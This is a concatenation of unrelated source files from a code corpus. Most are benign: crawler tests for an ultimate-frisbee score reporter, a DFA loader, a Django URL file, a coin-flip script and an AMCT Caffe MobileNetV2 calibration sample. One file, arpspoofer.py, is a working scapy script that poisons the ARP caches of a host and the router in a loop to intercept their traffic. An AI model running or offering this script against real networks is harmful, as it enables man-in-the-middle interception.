<dt>Twitter:</dt>
<dd><a id="CT_Main_0_lnkTwitter" href="modules/events/@texasultimate">@texasultimate</a></dd>
</dl>
<dl id="CT_Main_0_dlNotes">
<dt>Notes:</dt>
<dd>Captains - <NAME>, <NAME>
Head Coach - <NAME>
Assistant Coach - <NAME></dd>
</dl>
</div>
</body>
"""
class ScoreReporterHandlerTest(web_test_base.WebTestBase):
def setUp(self):
super(ScoreReporterHandlerTest, self).setUp()
self.testapp = webtest.TestApp(score_reporter_handler.app)
@mock.patch.object(taskqueue, 'add')
def testParseLandingPage(self, mock_add_queue):
self.SetHtmlResponse(FAKE_LANDING_PAGE)
response = self.testapp.get('/tasks/sr/crawl')
self.assertEqual(200, response.status_int)
calls = mock_add_queue.mock_calls
self.assertEquals(2, len(calls))
self.assertEquals(calls[0], mock.call(
url='/tasks/sr/list_tournament_details', method='GET',
params={'name': 'Womens-Sectionals-2015'},
queue_name='score-reporter'))
self.assertEquals(calls[1], mock.call(
url='/tasks/sr/list_tournament_details', method='GET',
params={'name': 'Mens-Sectionals-2015'},
queue_name='score-reporter'))
@mock.patch.object(taskqueue, 'add')
def testParseLandingPage_noUrls(self, mock_add_queue):
self.SetHtmlResponse('')
response = self.testapp.get('/tasks/sr/crawl')
self.assertEqual(200, response.status_int)
calls = mock_add_queue.mock_calls
self.assertEquals(0, len(calls))
@mock.patch.object(taskqueue, 'add')
def testParseLandingPage_404(self, mock_add_queue):
self.SetHtmlResponse('', 404)
response = self.testapp.get('/tasks/sr/crawl')
self.assertEqual(200, response.status_int)
self.assertIn('not found', response.body)
calls = mock_add_queue.mock_calls
self.assertEquals(0, len(calls))
@mock.patch.object(taskqueue, 'add')
def testParseTourneyLandingPage(self, mock_add_queue):
self.SetHtmlResponse(FAKE_TOURNEY_LANDING_PAGE)
# Need to add the tourney URL to the URL as a parameter
response = self.testapp.get(
'/tasks/sr/list_tournament_details?name=my-tourney')
self.assertEqual(200, response.status_int)
calls = mock_add_queue.mock_calls
self.assertEquals(1, len(calls))
self.assertEquals(calls[0], mock.call(
url='/tasks/sr/crawl_tournament', method='GET',
params={'url_suffix': 'schedule/Men/College-Men/',
'name': 'my-tourney',
'division': 'OPEN',
'age_bracket': 'COLLEGE'},
queue_name='score-reporter'))
key = game_model.tourney_key_full('my-tourney')
got_tourney = key.get()
url = '%s/%s' % (
'https://play.usaultimate.org',
'assets/1/15/EventLogoDimension/TCTLogo_510x340.jpg')
want_tourney = game_model.Tournament(
key=key,
url='%s%s' % (score_reporter_handler.USAU_URL_PREFIX, 'my-tourney'),
start_date=datetime(2016, 3, 31, 0, 0),
image_url_https=url,
end_date=datetime(2016, 3, 31, 0, 0),
id_str='my-tourney', name='my tourney',
last_modified_at=got_tourney.last_modified_at,
sub_tournaments=[game_model.SubTournament(
division=scores_messages.Division.OPEN,
age_bracket=scores_messages.AgeBracket.COLLEGE)
])
self.assertEquals(got_tourney, want_tourney)
# Crawl it again. There should still only be one tourney in the db.
self.SetHtmlResponse(FAKE_TOURNEY_LANDING_PAGE)
response = self.testapp.get(
'/tasks/sr/list_tournament_details?name=my-tourney')
self.assertEqual(200, response.status_int)
all_tourneys = game_model.Tournament.query().fetch()
self.assertEquals(1, len(all_tourneys))
@mock.patch.object(taskqueue, 'add')
def testParseTourneyLandingPage_updateTourney(self, mock_add_queue):
key = game_model.tourney_key_full('my-tourney')
empty_tourney = game_model.Tournament(
last_modified_at=datetime.utcnow(),
key=key,
url='%s%s' % (score_reporter_handler.USAU_URL_PREFIX, 'my-tourney'),
id_str='my-tourney', name='my tourney')
empty_tourney.put()
self.SetHtmlResponse(FAKE_TOURNEY_LANDING_PAGE)
# Need to add the tourney URL to the URL as a parameter
response = self.testapp.get(
'/tasks/sr/list_tournament_details?name=my-tourney')
self.assertEqual(200, response.status_int)
calls = mock_add_queue.mock_calls
self.assertEquals(1, len(calls))
self.assertEquals(calls[0], mock.call(
url='/tasks/sr/crawl_tournament', method='GET',
params={'url_suffix': 'schedule/Men/College-Men/',
'name': 'my-tourney',
'division': 'OPEN',
'age_bracket': 'COLLEGE'},
queue_name='score-reporter'))
got_tourney = key.get()
# The tourney should now be updated with the new division that was added.
want_tourney = game_model.Tournament(
key=key,
url='%s%s' % (score_reporter_handler.USAU_URL_PREFIX, 'my-tourney'),
id_str='my-tourney', name='my tourney',
image_url_https=got_tourney.image_url_https,
start_date=datetime(2016, 3, 31, 0, 0),
end_date=datetime(2016, 3, 31, 0, 0),
last_modified_at=got_tourney.last_modified_at,
sub_tournaments=[game_model.SubTournament(
division=scores_messages.Division.OPEN,
age_bracket=scores_messages.AgeBracket.COLLEGE)
])
self.assertEquals(got_tourney, want_tourney)
@mock.patch.object(taskqueue, 'add')
def testParseTourneyLandingPage_updateTourneyNewDate(self, mock_add_queue):
key = game_model.tourney_key_full('my-tourney')
wrong_date_tourney = game_model.Tournament(
last_modified_at=datetime.utcnow(),
key=key,
start_date=datetime(2016, 5, 31, 0, 0),
end_date=datetime(2016, 5, 31, 0, 0),
sub_tournaments=[game_model.SubTournament(
division=scores_messages.Division.OPEN,
age_bracket=scores_messages.AgeBracket.COLLEGE)
],
url='%s%s' % (score_reporter_handler.USAU_URL_PREFIX, 'my-tourney'),
id_str='my-tourney', name='my tourney')
wrong_date_tourney.put()
self.SetHtmlResponse(FAKE_TOURNEY_LANDING_PAGE)
# Need to add the tourney URL to the URL as a parameter
response = self.testapp.get(
'/tasks/sr/list_tournament_details?name=my-tourney')
self.assertEqual(200, response.status_int)
calls = mock_add_queue.mock_calls
self.assertEquals(1, len(calls))
self.assertEquals(calls[0], mock.call(
url='/tasks/sr/crawl_tournament', method='GET',
params={'url_suffix': 'schedule/Men/College-Men/',
'name': 'my-tourney',
'division': 'OPEN',
'age_bracket': 'COLLEGE'},
queue_name='score-reporter'))
got_tourney = key.get()
# The tourney should now be updated with the new division that was added.
want_tourney = game_model.Tournament(
key=key,
url='%s%s' % (score_reporter_handler.USAU_URL_PREFIX, 'my-tourney'),
id_str='my-tourney', name='my tourney',
image_url_https=got_tourney.image_url_https,
start_date=datetime(2016, 3, 31, 0, 0),
end_date=datetime(2016, 3, 31, 0, 0),
last_modified_at=got_tourney.last_modified_at,
sub_tournaments=[game_model.SubTournament(
division=scores_messages.Division.OPEN,
age_bracket=scores_messages.AgeBracket.COLLEGE)
])
self.assertEquals(got_tourney, want_tourney)
@mock.patch.object(taskqueue, 'add')
def testParseTourneyLandingPage_badNameParam(self, mock_add_queue):
# Need to add the tourney name as a parameter. If it's not
# present no crawling should take place.
response = self.testapp.get('/tasks/sr/list_tournament_details')
self.assertEquals(0, response.body.find('No tournament name specified'))
calls = mock_add_queue.mock_calls
self.assertEquals(0, len(calls))
@mock.patch.object(taskqueue, 'add')
def testParseTourneyLandingPage_404(self, mock_add_queue):
self.SetHtmlResponse('', 404)
response = self.testapp.get(
'/tasks/sr/list_tournament_details?name=no_name')
self.assertEqual(200, response.status_int)
self.assertEquals(0, response.body.find('Tourney page not found'))
calls = mock_add_queue.mock_calls
self.assertEquals(0, len(calls))
@mock.patch.object(taskqueue, 'add')
def testParseTourneyLandingPage_clinic(self, mock_add_queue):
"""Ensure clinics or other non-tourneys are not crawled."""
self.SetHtmlResponse(FAKE_CLINIC_LANDING_PAGE)
response = self.testapp.get(
'/tasks/sr/list_tournament_details?name=my_tourney')
self.assertEqual(200, response.status_int)
calls = mock_add_queue.mock_calls
self.assertEquals(0, len(calls))
@mock.patch.object(taskqueue, 'add')
def testParseTourneyLandingPage_noCollegeOrClubDivision(self, mock_add_queue):
"""Ensure a tourney with no club or college divisions is not crawled."""
self.SetHtmlResponse(FAKE_HS_TOURNEY_LANDING_PAGE)
response = self.testapp.get(
'/tasks/sr/list_tournament_details?name=my_tourney')
self.assertEqual(200, response.status_int)
calls = mock_add_queue.mock_calls
self.assertEquals(0, len(calls))
@mock.patch.object(taskqueue, 'add')
def testParseTourneyScores_newTourneyOneTeamKnown(self, mock_add_queue):
# Page with two teams, one of which has been added to the DB.
self.SetHtmlResponse(FAKE_TOURNEY_SCORES_PAGE)
params = {
'url_suffix': 'schedule/Men/College-Men/',
'name': 'my_tourney',
'division': 'OPEN',
'age_bracket': 'COLLEGE'
}
# One team has already been added to the database, but one is new.
game_model.TeamIdLookup(
score_reporter_id='123',
score_reporter_tourney_id=['8%3d']).put()
response = self.testapp.get('/tasks/sr/crawl_tournament', params=params)
self.assertEqual(200, response.status_int)
calls = mock_add_queue.mock_calls
# Team page should be crawled for the unknown team.
self.assertEquals(1, len(calls))
self.assertEquals(calls[0], mock.call(
url='/tasks/sr/crawl_team', method='GET',
params={'id': 'g%3d',
'division': 'OPEN',
'age_bracket': 'COLLEGE'},
queue_name='score-reporter'))
full_url = '%s%s' % (score_reporter_crawler.EVENT_PREFIX,
'my_tourney/schedule/Men/College-Men/')
game_query = game_model.Game.query()
games = game_query.fetch(1000)
self.assertEqual(0, len(games))
@mock.patch.object(taskqueue, 'add')
def testParseTourneyScores_newTourneyBothTeamsKnown(self, mock_add_queue):
# Page with two teams, both of which have been added to the DB.
self.SetHtmlResponse(FAKE_TOURNEY_SCORES_PAGE)
params = {
'url_suffix': 'schedule/Men/College-Men/',
'name': 'my-tourney',
'division': 'OPEN',
'age_bracket': 'COLLEGE'
}
# One team has already been added to the database, but one is new.
game_model.TeamIdLookup(
score_reporter_id='123',
score_reporter_tourney_id=['8%3d']).put()
game_model.Team(twitter_id=5,
score_reporter_id='123').put()
game_model.TeamIdLookup(
score_reporter_id='456',
score_reporter_tourney_id=['g%3d']).put()
response = self.testapp.get('/tasks/sr/crawl_tournament', params=params)
self.assertEqual(200, response.status_int)
calls = mock_add_queue.mock_calls
self.assertEquals(0, len(calls))
full_url = '%s%s' % (score_reporter_crawler.EVENT_PREFIX,
'my_tourney/schedule/Men/College-Men/')
game_query = game_model.Game.query()
games = game_query.fetch(1000)
self.assertEqual(1, len(games))
self.assertEqual(scores_messages.Division.OPEN, games[0].division)
self.assertEqual(scores_messages.AgeBracket.COLLEGE, games[0].age_bracket)
self.assertEqual('71984', games[0].id_str)
self.assertEqual('my-tourney', games[0].tournament_id)
self.assertEqual('my tourney', games[0].tournament_name)
self.assertEqual([15, 13], games[0].scores)
self.assertEqual('456', games[0].teams[0].score_reporter_id)
self.assertEqual('123', games[0].teams[1].score_reporter_id)
self.assertEqual(None, games[0].teams[0].twitter_id)
self.assertEqual(5, games[0].teams[1].twitter_id)
@mock.patch.object(taskqueue, 'add')
def testParseTourneyScores_noTeamUrls(self, mock_add_queue):
# Page with two teams, both of which have been added to the DB.
self.SetHtmlResponse(FAKE_TOURNEY_NO_TEAM_URLS)
params = {
'url_suffix': 'schedule/Men/College-Men/',
'name': 'my_tourney',
'division': 'OPEN',
'age_bracket': 'COLLEGE'
}
# One team has already been added to the database, but one is new.
game_model.TeamIdLookup(
score_reporter_id='123',
score_reporter_tourney_id=['8%3d']).put()
game_model.Team(twitter_id=5,
score_reporter_id='123').put()
game_model.TeamIdLookup(
score_reporter_id='456',
score_reporter_tourney_id=['g%3d']).put()
response = self.testapp.get('/tasks/sr/crawl_tournament', params=params)
self.assertEqual(200, response.status_int)
calls = mock_add_queue.mock_calls
self.assertEquals(0, len(calls))
game_query = game_model.Game.query()
games = game_query.fetch(1000)
self.assertEqual(0, len(games))
@mock.patch.object(taskqueue, 'add')
def testParseTourneyScores_updateDate(self, mock_add_queue):
# Page with two teams, one of which has been added to the DB.
self.SetHtmlResponse(FAKE_TOURNEY_SCORES_PAGE)
params = {
'url_suffix': 'schedule/Men/College-Men/',
'name': 'my_tourney',
'division': 'OPEN',
'age_bracket': 'COLLEGE'
}
# Both teams, the tournament, and the game have already been added to the database.
key = game_model.tourney_key_full(params['name'])
now = datetime.utcnow()
tourney = game_model.Tournament(
last_modified_at=datetime(2016, 5, 25, 0, 0),
key=key,
has_started=False,
start_date=datetime(2016, 5, 31, 0, 0),
end_date=datetime(2016, 5, 31, 0, 0),
sub_tournaments=[game_model.SubTournament(
division=scores_messages.Division.OPEN,
age_bracket=scores_messages.AgeBracket.COLLEGE)
],
url='%s%s' % (score_reporter_handler.USAU_URL_PREFIX, params.get('name', '')),
id_str=params.get('name', ''), name='my tourney')
tourney.put()
game_model.TeamIdLookup(
score_reporter_id='123',
score_reporter_tourney_id=['8%3d']).put()
game_model.TeamIdLookup(
score_reporter_id='456',
score_reporter_tourney_id=['g%3d']).put()
game_info = score_reporter_crawler.GameInfo(
'71984', 'my_tourney', 'my_tourney', scores_messages.Division.OPEN,
scores_messages.AgeBracket.COLLEGE)
game_info.status = 'Unknown'
game = game_model.Game.FromGameInfo(game_info, {})
self.assertEquals(scores_messages.GameStatus.UNKNOWN, game.game_status)
game.put()
response = self.testapp.get('/tasks/sr/crawl_tournament', params=params)
self.assertEqual(200, response.status_int)
calls = mock_add_queue.mock_calls
self.assertEquals(0, len(calls))
db_game = game_model.game_key(game).get()
self.assertEquals(scores_messages.GameStatus.FINAL, db_game.game_status)
db_tourney = key.get()
# Tournament details should have been updated.
self.assertEquals(True, db_tourney.has_started)
self.assertTrue(db_tourney.last_modified_at >= now)
@mock.patch.object(score_reporter_handler, 'FetchUsauPage')
@mock.patch.object(taskqueue, 'add')
def testParseTourneyScores_urlEncoded(self, mock_add_queue, mock_fetch_page):
self.SetHtmlResponse(FAKE_TOURNEY_SCORES_PAGE)
params = {
'url_suffix': 'schedule%2FWomen%2FClub-Women%2F',
'name': 'US-Open-Ultimate-Championships-2015%2F',
'division': 'WOMENS',
'age_bracket': 'NO_RESTRICTION'
}
response = self.testapp.get('/tasks/sr/crawl_tournament', params=params)
self.assertEqual(200, response.status_int)
calls = mock_fetch_page.mock_calls
self.assertEqual(calls[0], mock.call(
'US-Open-Ultimate-Championships-2015//schedule/Women/Club-Women/'))
@mock.patch.object(taskqueue, 'add')
def testParseTourneyScores_badParams(self, mock_add_queue):
response = self.testapp.get('/tasks/sr/crawl_tournament',
params={'url_suffix': 'schedule/Men/College-Men/'})
self.assertEqual(200, response.status_int)
calls = mock_add_queue.mock_calls
self.assertEquals(0, len(calls))
@mock.patch.object(taskqueue, 'add')
def testParseTourneyScores_badEnumParsing(self, mock_add_queue):
params = {
'url_suffix': 'schedule%2FWomen%2FClub-Women%2F',
'name': 'US-Open-Ultimate-Championships-2015%2F',
'division': 'BAD_ENUM',
'age_bracket': 'NO_RESTRICTION'
}
response = self.testapp.get('/tasks/sr/crawl_tournament', params=params)
self.assertEqual(200, response.status_int)
calls = mock_add_queue.mock_calls
self.assertEquals(0, len(calls))
@mock.patch.object(taskqueue, 'add')
def testParseTourneyScores_404(self, mock_add_queue):
self.SetHtmlResponse('', 404)
params = {
'url_suffix': 'schedule%2FWomen%2FClub-Women%2F',
'name': 'US-Open-Ultimate-Championships-2015%2F',
'division': 'WOMENS',
'age_bracket': 'NO_RESTRICTION'
}
response = self.testapp.get('/tasks/sr/crawl_tournament', params=params)
self.assertEqual(200, response.status_int)
self.assertIn('not found', response.body)
calls = mock_add_queue.mock_calls
self.assertEquals(0, len(calls))
def testShouldUpdateGame_status(self):
handler = score_reporter_handler.TournamentScoresHandler()
db_game = game_model.Game()
incoming_game = game_model.Game()
db_game.scores = [0, 0]
incoming_game.scores = [0, 0]
db_game.sources = [game_model.GameSource(
type=scores_messages.GameSourceType.SCORE_REPORTER)]
incoming_game.sources = [game_model.GameSource(
type=scores_messages.GameSourceType.SCORE_REPORTER)]
self.assertFalse(handler._ShouldUpdateGame(db_game, incoming_game))
db_game.game_status = scores_messages.GameStatus.FINAL
self.assertTrue(handler._ShouldUpdateGame(db_game, incoming_game))
def testShouldUpdateGame_scores(self):
handler = score_reporter_handler.TournamentScoresHandler()
db_game = game_model.Game()
incoming_game = game_model.Game()
db_game.scores = [1, 2]
incoming_game.scores = [1, 2]
db_game.sources = [game_model.GameSource(
type=scores_messages.GameSourceType.SCORE_REPORTER)]
incoming_game.sources = [game_model.GameSource(
type=scores_messages.GameSourceType.SCORE_REPORTER)]
self.assertFalse(handler._ShouldUpdateGame(db_game, incoming_game))
incoming_game.scores[1] = 3
self.assertTrue(handler._ShouldUpdateGame(db_game, incoming_game))
def testParseTeamInfo_sanity(self):
self._runParseTeamTest()
def testParseTeamInfo_twitterUserExists(self):
"""Ensure if User exists, the Team will be updated with twitter ID."""
self.CreateUser(4, 'texasultimate').put()
self._runParseTeamTest(twitter_id=4)
def testParseTeamInfo_teamMapExists(self):
"""If TeamIdLookup exists, nothing is changed."""
id = 'njcj4s6Ct8EmLJyC98tkMEP3YQC5QiKs33MnNEu9jp0%3d'
tourney_id = 'g%3d'
id_map = game_model.TeamIdLookup(
score_reporter_id=id,
score_reporter_tourney_id=[tourney_id])
id_map.put()
self._runParseTeamTest()
def testParseTeamInfo_teamMapExistsWithoutTourney(self):
"""TeamIdLookup exists, but doesn't contain the crawled tourney."""
id = 'njcj4s6Ct8EmLJyC98tkMEP3YQC5QiKs33MnNEu9jp0%3d'
id_map = game_model.TeamIdLookup(
score_reporter_id=id,
score_reporter_tourney_id=[])
id_map.put()
self._runParseTeamTest()
def testParseTeamInfo_srTeamExists(self):
"""Don't update db if Team with this sr ID already exists."""
id = 'njcj4s6Ct8EmLJyC98tkMEP3YQC5QiKs33MnNEu9jp0%3d'
team = game_model.Team.get_or_insert(id,
score_reporter_id=id)
self._runParseTeamTest()
def testParseTeamInfo_fullTeamInfoExists(self):
"""Don't update db with FullTeamInfo if it already exist."""
id = 'njcj4s6Ct8EmLJyC98tkMEP3YQC5QiKs33MnNEu9jp0%3d'
key = game_model.full_team_info_key(id)
team_info = score_reporter_crawler.TeamInfo()
team_info.facebook_url = 'https://www.facebook.com/TexasUltimate'
team_info.name = 'Texas (TUFF)'
team_info.website = 'http://texasultimate.wix.com/texasultimate'
team_info.id = id
team_info.twitter_screenname = 'texasultimate'
info_pb = game_model.FullTeamInfo.FromTeamInfo(team_info,
scores_messages.Division.OPEN,
scores_messages.AgeBracket.COLLEGE,
key=key)
info_pb.put()
self._runParseTeamTest()
def testParseTeam_404(self):
self.SetHtmlResponse('', 404)
params = {
'id': 'g%3d',
'division': 'OPEN',
'age_bracket': 'COLLEGE',
}
response = self.testapp.get('/tasks/sr/crawl_team', params=params)
self.assertEqual(200, response.status_int)
self.assertIn('not found', response.body)
def testParseTeam_badEnum(self):
self.SetHtmlResponse('', 200)
params = {
'id': 'g%3d',
'division': 'OPEN',
'age_bracket': 'BAD_ENUM',
}
response = self.testapp.get('/tasks/sr/crawl_team', params=params)
self.assertEqual(200, response.status_int)
def _runParseTeamTest(self, twitter_id=None):
self.SetHtmlResponse(FAKE_TEAM_INFO_PAGE)
params = {
'id': 'g%3d',
'division': 'OPEN',
'age_bracket': 'COLLEGE',
}
response = self.testapp.get('/tasks/sr/crawl_team',
params=params)
self.assertEqual(200, response.status_int)
id = 'njcj4s6Ct8EmLJyC98tkMEP3YQC5QiKs33MnNEu9jp0%3d'
# 1. Check the Team info in the datastore
query = game_model.Team.query()
teams = query.fetch(1000)
self.assertEqual(1, len(teams))
# Full team ID as crawled from FAKE_TEAM_INFO_PAGE.
self.assertEqual(id, teams[0].score_reporter_id)
self.assertEqual(twitter_id, teams[0].twitter_id)
# 2. Check the FullTeamInfo in the datastore
query = game_model.FullTeamInfo.query()
teams = query.fetch(1000)
self.assertEqual(1, len(teams))
key = game_model.full_team_info_key(id)
self.assertEqual(
'https://www.facebook.com/TexasUltimate', teams[0].facebook_url)
self.assertEqual(
scores_messages.AgeBracket.COLLEGE, teams[0].age_bracket)
self.assertEqual(
scores_messages.Division.OPEN, teams[0].division)
self.assertEqual('Texas (TUFF)', teams[0].name)
self.assertEqual('texasultimate', teams[0].screen_name)
self.assertEqual(
'http://texasultimate.wix.com/texasultimate', teams[0].website)
self.assertEqual(
id, teams[0].id)
# 3. Check the TeamIdLookup in the datastore
query = game_model.TeamIdLookup.query()
items = query.fetch(1000)
self.assertEqual(1, len(items))
self.assertEqual(id, items[0].score_reporter_id)
self.assertEqual(1, len(items[0].score_reporter_tourney_id))
self.assertEqual('g%3d', items[0].score_reporter_tourney_id[0])
| 1.96875 | 2 |
aspyrobot/__init__.py | AustralianSynchrotron/pyrobot | 4 | 12768798 | <reponame>AustralianSynchrotron/pyrobot<gh_stars>1-10
from .robot import Robot
from .server import RobotServer
from .client import RobotClient
__version__ = '0.17.0'
__all__ = [Robot, RobotServer, RobotClient]
| 1.125 | 1 |
bsc/config/configuration.py | simao-ferreira/bscscan-wrapper | 0 | 12768799 | from bsc.config.helper import get_key_from_file
ADDRESS = get_key_from_file('address.json')
API_KEY = get_key_from_file('api_key.json')
| 1.617188 | 2 |
Scanning/arpspoofer.py | FalseG0d/BasicHacking | 0 | 12768800 | <gh_stars>0
#!/usr/bin/python
import scapy.all as scapy
def get_target_mac(ip):
arp_request=scapy.ARP(pdst=ip)
broadcast=scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
finalpacket=broadcast/arp_request
answer=scapy.srp(finalpacket,timeout=2,verbose=False)[0]
mac=answer[0][1].hwsrc
return mac
def spoof_arp(target_ip,spoofed_ip):
mac=get_target_mac(target_ip)
packet=scapy.ARP(op=2,hwdst=mac,pdst=target_ip,psrc=spoofed_ip)
scapy.send(packet,verbose=False)
print("Success")
def main():
try:
while True:
spoof_arp("192.168.1.9","192.168.1.10") #Spoofing Machine
spoof_arp("192.168.1.1","192.168.1.10") #Spoofing Router
except KeyboardInterrupt:
exit(0)
main()
| 2.921875 | 3 |
src/dfa_create.py | llxzy/automata | 0 | 12768801 | import json
from src.dfa import DFA
from src.state import State
def get_state_by_label(label, states):
for state in states:
if state.label == label:
return state
def from_json(filename):
d = DFA()
d.states = set()
d.initial_state = None
with open(filename, 'r') as r_file:
dfa_data = json.load(r_file)
d.set_alphabet(set(dfa_data["alphabet"]))
states = dfa_data["states"]
for label, state_data in states.items():
s = State(label, state_data["accepting"], state_data["initial"])
d.add_state(s)
if s.initial:
d.initial_state = s
for label, state_data in states.items():
from_state = get_state_by_label(label, d.states)
# need to iter twice to create transitions - better way might exist
for transition_label, to_state_label in state_data["outgoing"].items():
to_state = get_state_by_label(to_state_label, d.states)
d.add_edge(from_state, to_state, transition_label)
return d | 3.078125 | 3 |
Python/coinflip.py | akashrchandran/Projects | 30 | 12768802 | import random
def coinToss():
number = input("Number of times to flip coin: ")
recordList = []
heads = 0
tails = 0
for amount in range(number):
flip = random.randint(0, 1)
if (flip == 0):
print("Heads")
recordList.append("Heads")
else:
print("Tails")
recordList.append("Tails")
print(str(recordList))
print(str(recordList.count("Heads")) + str(recordList.count("Tails")))
| 4.03125 | 4 |
web-gui/AP/urls.py | twoexponents/opensource | 7 | 12768803 | from django.conf.urls import url
from . import views
urlpatterns = [
url(r'^$', views.AP_list, name='AP_list'),
]
| 1.476563 | 1 |
python/level1_single_api/9_amct/amct_caffe/mobilenetV2/src/auto_calibration_mobilenet_v2_sample.py | Ascend/samples | 25 | 12768804 | #!/usr/bin/python3
# -*- coding: UTF-8 -*-
"""
Copyright (C) 2019. Huawei Technologies Co., Ltd. All rights reserved.
This program is free software; you can redistribute it and/or modify
it under the terms of the Apache License Version 2.0.You may not use
this file except in compliance with the License.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
Apache License for more details at
http://www.apache.org/licenses/LICENSE-2.0
AMCT_CAFFE sample of accuracy_based_auto_calibration based on MobileNet V2
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import os
import sys
import argparse
from pathlib import Path
import numpy as np
import cv2 # pylint: disable=E0401
import datasets
MODEL_INPUT_BLOB_NAME = 'data'
MODEL_OUTPUT_BLOB_NAME = 'prob'
PATH = os.path.split(os.path.realpath(__file__))[0]
PATH = os.path.realpath(os.path.join(PATH, '..'))
TMP = os.path.join(PATH, 'tmp')
RESULT = os.path.join(PATH, 'results')
BATCH_SIZE = 32
SCALE = 0.017
CROP_SIZE = 224
MEAN_FILE = None
MEAN_VALUE = [103.94, 116.78, 123.68]
DATA_DIR = os.path.join(PATH, 'data/images')
LABEL_FILE = os.path.join(DATA_DIR, 'image_label.txt')
# Need to specify the dir of caffe and dataset (ImageNet)
CAFFE_DIR = ''
LMDB_DATASET_DIR = ''
CALIBRATION_BATCH_NUM = 2
def parse_args():
"""Parse input arguments."""
parser = argparse.ArgumentParser(description='Mobilenet_v2 demo')
parser.add_argument('--model_file', dest='model_file',
help='Specify the model file of caffe model.',
default='./model/mobilenet_v2_deploy.prototxt',
type=str)
parser.add_argument('--weights_file', dest='weights_file',
help='Specify the weights file of caffe model.',
default="./model/mobilenet_v2.caffemodel",
type=str)
parser.add_argument('--gpu', dest='gpu_id', help='GPU device id to use [0]',
default=None, type=int)
parser.add_argument('--iterations', dest='iterations',
help='Specify iterations of test',
default=1000, type=int)
parser.add_argument('--caffe_dir', dest='caffe_dir',
help='Specify the dir of caffe',
default=CAFFE_DIR,
type=str)
parser.add_argument('--pre_test', dest='pre_test',
help='Do test with amct caffe calibration or not',
action='store_false')
parser.add_argument('--dataset',
dest='dataset',
help='The path of benchmark dataset.',
default=LMDB_DATASET_DIR,
type=str)
args = parser.parse_args()
return args
def args_check(args):
"""check args"""
# --model_file
if args.model_file is None:
raise RuntimeError('Must specify a caffe deploy prototxt file')
model_file = os.path.realpath(args.model_file)
if not Path(model_file).exists():
raise RuntimeError('Must specify a caffe deploy prototxt file')
# --weights_file
if args.weights_file is None:
raise RuntimeError('Must specify a caffe caffemodel file')
weights_file = os.path.realpath(args.weights_file)
if not Path(weights_file).exists():
raise RuntimeError('Must specify a caffe caffemodel file')
# --iterations
if args.iterations > 1500:
raise RuntimeError('Max iterations on sample dataset is 1500')
def args_check_caffe_dir(args):
"""check args of caffe dir"""
if args.caffe_dir is None:
raise RuntimeError('Must specify a caffe framework dir')
caffe_dir = os.path.realpath(args.caffe_dir)
if not Path(caffe_dir).exists():
raise RuntimeError('Must specify a caffe framework dir')
caffe_exec_bin = os.path.join(caffe_dir, 'build/tools/caffe')
if not Path(caffe_exec_bin).exists():
raise RuntimeError('Must make caffe before execute demo')
pycaffe_file = os.path.join(caffe_dir, 'python/caffe/pycaffe.py')
if not Path(pycaffe_file).exists():
raise RuntimeError('Must make pycaffe before execute demo')
def add_path(path):
"""Add path to env"""
if path not in sys.path:
sys.path.insert(0, path)
QUANT_ARGS = parse_args()
args_check(QUANT_ARGS)
args_check_caffe_dir(QUANT_ARGS)
add_path(os.path.join(QUANT_ARGS.caffe_dir, 'python'))
import caffe # pylint: disable=E0401, C0413
import amct_caffe as amct # pylint: disable=E0401, C0413
from amct_caffe.common.auto_calibration import \
AutoCalibrationEvaluatorBase # pylint: disable=E0401, C0413
def get_blobs_from_im(data_dir, imgs, batch_size):
"""Read image files to blobs [3, 256, 256]"""
if batch_size != len(imgs):
raise RuntimeError('batch_size:{} != len(imgs):{}'.format(
batch_size, len(imgs)))
blobs_data = np.zeros((batch_size, 3, 256, 256), np.uint8)
for index in range(batch_size):
im_file = os.path.join(data_dir, imgs[index])
im_data = cv2.imread(im_file)
im_data = cv2.resize(
im_data, (256, 256), interpolation=cv2.INTER_CUBIC)
im_data = im_data.swapaxes(0, 2)
im_data = im_data.swapaxes(1, 2)
blobs_data[index, :, :, :] = im_data
return blobs_data
def get_labels_from_txt():
"""Read all images' name and label from label_file"""
images = []
labels = []
with open(LABEL_FILE, 'r') as label_file:
lines = label_file.readlines()
for line in lines:
images.append(line.split(' ')[0])
labels.append(int(line.split(' ')[1]))
return images, labels
def img_preprocess(blobs_data, mean_value, crop_size):
"""Do image data pre-process"""
# crop image[height, width] to [crop_size, crop_size]
height = blobs_data.shape[2]
width = blobs_data.shape[3]
h_off = int((height - crop_size) / 2)
w_off = int((width - crop_size) / 2)
crop_data = blobs_data[:, :, h_off:(height - h_off), w_off:(width - w_off)]
# trans uint8 image data to float
crop_data = crop_data.astype(np.float32, copy=False)
# do channel-wise reduce mean value
for channel in range(crop_data.shape[1]):
crop_data[:, channel, :, :] -= mean_value[channel]
# mutiply the scale value
crop_data *= SCALE
return crop_data
def img_postprocess(probs, labels):
"""Do image post-process"""
# calculate top1 and top5 accuracy
top1_get = 0
top5_get = 0
if len(probs.shape) == 4:
probs = probs.reshape((probs.shape[0], probs.shape[1]))
prob_size = probs.shape[1]
for index, label in enumerate(labels):
top5_record = (probs[index, :].argsort())[prob_size - 5:prob_size]
if label == top5_record[-1]:
top1_get += 1
top5_get += 1
elif label in top5_record:
top5_get += 1
return float(top1_get) / len(labels), float(top5_get) / len(labels)
def run_caffe_model(model_file, weights_file, iterations):
"""run caffe model forward"""
net = caffe.Net(model_file, weights_file, caffe.TEST)
top1_total = 0
top5_total = 0
images, labels = get_labels_from_txt()
for iter_num in range(iterations):
blobs_data = get_blobs_from_im(
DATA_DIR,
images[iter_num * BATCH_SIZE:(iter_num + 1) * BATCH_SIZE],
BATCH_SIZE)
blobs_data = img_preprocess(blobs_data, [104, 117, 123], 224)
forward_kwargs = {MODEL_INPUT_BLOB_NAME: blobs_data}
blobs_out = net.forward(**forward_kwargs)
top1, top5 = img_postprocess(
blobs_out[MODEL_OUTPUT_BLOB_NAME],
labels[iter_num * BATCH_SIZE:(iter_num + 1) * BATCH_SIZE])
top1_total += top1
top5_total += top5
print('****************iteration:{}*****************'.format(iter_num))
print('top1_acc:{}'.format(top1))
print('top5_acc:{}'.format(top5))
print('******final top1:{}'.format(top1_total / iterations))
print('******final top5:{}'.format(top5_total / iterations))
def do_benchmark_test(args, model_file, weights_file, iterations=1000):
""" Calc the accuracy on the lmdb dataset"""
net = caffe.Net(model_file, weights_file, caffe.TEST)
top1_total = 0
